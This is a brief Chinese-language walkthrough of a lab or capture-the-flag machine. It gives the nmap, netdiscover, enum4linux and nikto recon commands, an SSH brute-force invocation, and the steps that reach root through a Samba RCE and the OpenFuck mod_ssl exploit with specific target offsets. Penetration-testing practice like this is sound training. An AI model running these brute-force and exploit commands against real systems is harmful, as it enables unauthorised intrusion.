0x01 取得靶機IP
netdiscover -r x.x.x.0/24

0x02 服務探勘
nmap -sS -A -sV --version-intensity 5 -Pn -T4 -p- <ip>


0x03 ssh爆破
nmap <ip> -p 22 --script ssh-brute --script-args userdb=users.lst,passdb=pass.lst --script-args ssh-brute.timeout=4s

找不到帳密,換下個目標
0x04 Web掃描
nikto -h <ip>

dirbuster


沒什麼可利用的資訊
0x05 samba探測
enum4linux -o <ip>

到exploit-db根據samba版本號可找到一個RCE漏洞,編譯後執行


取得root權限
0x06 mod_ssl/2.8.4
在exploit-db上根據版本號可找到openfunk的poc,我用的是gazcbm/openfuck-2017已經編譯好的版本
先執行openfuck

找靶機的apache版本1.3.20

推測是RedHat Linux 7.2
先踹openfuck 0x6a <ip> <port> -c 50,發現無法成功

換成openfuck 0x6b <ip> <port> -c 50

取得root權限
沒有留言:
張貼留言